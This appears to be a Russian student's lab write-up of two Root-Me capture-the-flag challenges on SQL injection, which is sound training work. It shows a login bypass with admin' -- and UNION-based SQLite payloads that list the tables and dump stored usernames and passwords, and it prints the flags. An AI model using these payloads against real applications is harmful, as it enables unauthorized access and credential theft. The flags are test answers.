

**Задание выполнил студент группы 2345 Романенко Кирилл**

1. Выполните задание <https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-authentication>

## Аутентификация v 0.01

Вход

Пароль

Контакты

Изучаю ответ:

## Аутентификация v 0.01

Вход

Пароль

Контакты

## Аутентификация v 0.01

Ошибка: нет такого пользователя / пароля

Вход

Пароль

Контакты

Ввёл инъекцию

# Аутентификация v 0.01

Ошибка: нет такого пользователя / пароля

Вход

admin' --

Пароль

.....

Контакты

Ввёл пароль: "qwerty"

# Аутентификация v 0.01

С возвращением , администратор !

Ваша информация :

- имя пользователя : admin

- пароль : .....

Привет , мастер ! Для подтверждения запроса используйте этот пароль

Вход

Пароль

Контакты

Открыл инспектор, чтобы найти флаг

## Authentication v 0.01

Welcome back admin !

Your informations :

- username : admin

- password : .....

Hi master ! To validate the challenge use this password

Login

Password

connect


```
<html>
  <head> </head>
  <body>
    <link rel="stylesheet" property="stylesheet" id="s" type="text/css" />
    <iframe id="iframe" src="https://www.root-me.org/?page=externe_header" />
    <h1> </h1>
    <h2> </h2>
    <h3> </h3>
    <p>
      <ya-tr-span data-index="3-0" data-translated="false" data-source-lang="en" data-type="trSpan">- username : </ya-tr-span>
      <input type="text" value="admin" disabled>
      <br>
      <ya-tr-span data-index="3-0" data-translated="false" data-source-lang="en" data-type="trSpan">- password : </ya-tr-span>
      ... <input type="password" value="t0_W34k!$" disabled> == $0
    </p>
    <br>
    <ya-tr-span data-index="4-0" data-translated="false" data-source-lang="en" data-type="trSpan">Hi master ! </ya-tr-span>
    <b> </b>
    <form action="post" > </form>
    <div id="tr-popup" class="tr-popup" translate="no" data-hidden="true" > </div>
```

Флаг: t0\_W34k!\$

## Проверка

Молодец, ты выиграл 30 баллов

Не забудьте высказать свое мнение о задаче путем голосования ;-)

 разместите это в твиттере!

2. Выполните задание <https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-string>

## CMS v 0.02

### Home

- Système de news / News system
- Publication du site / Site publication
- Bienvenu / Welcome
- Correction faille / Vulnerability
- Système de recherche / Search Engine

Home | Search | Login

Изучил содержание вкладок

HOME

## CMS v 0.02

### News

Système de news / News system

La mise en place du système de news est désormais effective / News system activated.

[http://challenge01.root-me.org/web-serveur/ch19/?action=news&news\\_id=1](http://challenge01.root-me.org/web-serveur/ch19/?action=news&news_id=1)

Search

## CMS v 0,02

### Recherche

chercher

<http://challenge01.root-me.org/web-serveur/ch19/?action=recherche>

Login

**CMS v 0,02**

**Вход**

Имя пользователя

Пароль

Контакты

<http://challenge01.root-me.org/web-serveur/ch19/?action=login>

Пробую взломать через Search.

Определил версию sql

**Recherche**

' UNION SELECT NULL --

chercher

' UNION SELECT NULL --

Recherche

chercher

Warning: **SQLite3::query()**: Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns in /challenge/web-serveur/ch19/index.php:10  
SELECTs to the left and right of UNION do not have the same number of result columns

SQLite3

Определил кол-во значений в выдаче

' UNION SELECT NULL,NULL --

**CMS v 0.02**

**Recherche**

chercher

6 result(s) for "' UNION SELECT NULL,NULL --"

()

Disponible [Web-serveur] / Disponible [Web-serveur] / Disponible [Web-serveur]

' UNION SELECT NULL,NULL,NULL --

## CMS v 0,02

### Recherche

Предупреждение: SQLite3::query(): Не удастся  
Выборки слева и справа от ОБЪЕДИНЕНИЯ не

Значит, два. Проверил с подстановкой ' UNION SELECT 1,2 --

## CMS v 0.02

### Recherche

6 result(s) for "' UNION SELECT 1,2 --"

1 (2)

Bienvenu / Welcome (Bienvenu à tous / Wel

Correction faille / Vulnerability (Un petit mal

Publication du site / Site publication (Le sit

Système de news / News system (La mise e

Système de recherche / Search Engine (Un

Выше определил версию SQL и перешел на сайт. Пробую подставить  
инъекцию

Первая попытка

## String based - Extract database structure

```
SELECT sql FROM sqlite_schema ▾
```

Подстановка: ' UNION SELECT 1,sql FROM sqlite\_schema --

Не удалось

## CMS v 0,02

### Recherche

Предупреждение: SQLite3::query(): Не удалось  
нет такой таблицы: sqlite\_schema

Вторая попытка

### Integer/String based - Extract table name

```
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```

Подстановка в одну строку: ' UNION SELECT NULL, tbl\_name FROM  
sqlite\_master WHERE type='table' and tbl\_name NOT like 'sqlite\_%' --

## CMS v 0.02

### Recherche

7 result(s) for "' UNION SELECT NULL, tbl\_name FROM sqlite\_master WHERE type='table' and tbl\_name NOT like 'sqlite\_%' --"

(news)

(users)

Bienvenu / Welcome (Bienvenu à tous / Welcome all !)

Correction faille / Vulnerability (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)

Publication du site / Site publication (Le site est désormais ouvert à toutes et à tous / Site is open)

Système de news / News system (La mise en place du système de news est désormais effective / News system activated.)

Système de recherche / Search Engine (Un système de recherche nous permet désormais de rechercher une news / News : search engine :))

Узнал, где, скорее всего, находятся данные администратора – users

Подставляю дальше

### Integer/String based - Extract column name

```
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
```

Подстановка в одну строку: ' UNION SELECT NULL, sql FROM  
sqlite\_master WHERE type!='meta' AND sql NOT NULL AND name ='users' --

## CMS v 0.02

### Recherche

6 result(s) for "" UNION SELECT NULL, sql FROM sqlite\_master WHERE type!='meta' AND sql NOT NULL AND name ='users' --"

(CREATE TABLE users(username TEXT, password TEXT, Year INTEGER))

Bienvenu / Welcome (Bienvenu à tous / Welcome all !)

Correction faille / Vulnerability (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)

Publication du site / Site publication (Le site est désormais ouvert à toutes et à tous / Site is open)

Système de news / News system (La mise en place du système de news est désormais effective / News system activated.)

Système de recherche / Search Engine (Un système de recherche nous permet désormais de rechercher une news / News : search

Атакую таблицу колонки username и password

' UNION SELECT username, password FROM users --

## CMS v 0.02

### Recherche

8 result(s) for "" UNION SELECT username, password FROM users --"

Bienvenu / Welcome (Bienvenu à tous / Welcome all !)

Correction faille / Vulnerability (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)

Publication du site / Site publication (Le site est désormais ouvert à toutes et à tous / Site is open)

Système de news / News system (La mise en place du système de news est désormais effective / News system activated.)

Système de recherche / Search Engine (Un système de recherche nous permet désormais de rechercher une news / News : search

admin (c4K04dtlaJsuWdi)

user1 (OK4dSoYE)

user2 (8Wbhkzmd)

Флаг: c4K04dtlaJsuWdi

## Validation

Well done, you won 30 Points

Don't forget to give your opinion on the challenge by voting ;-)



tweet it!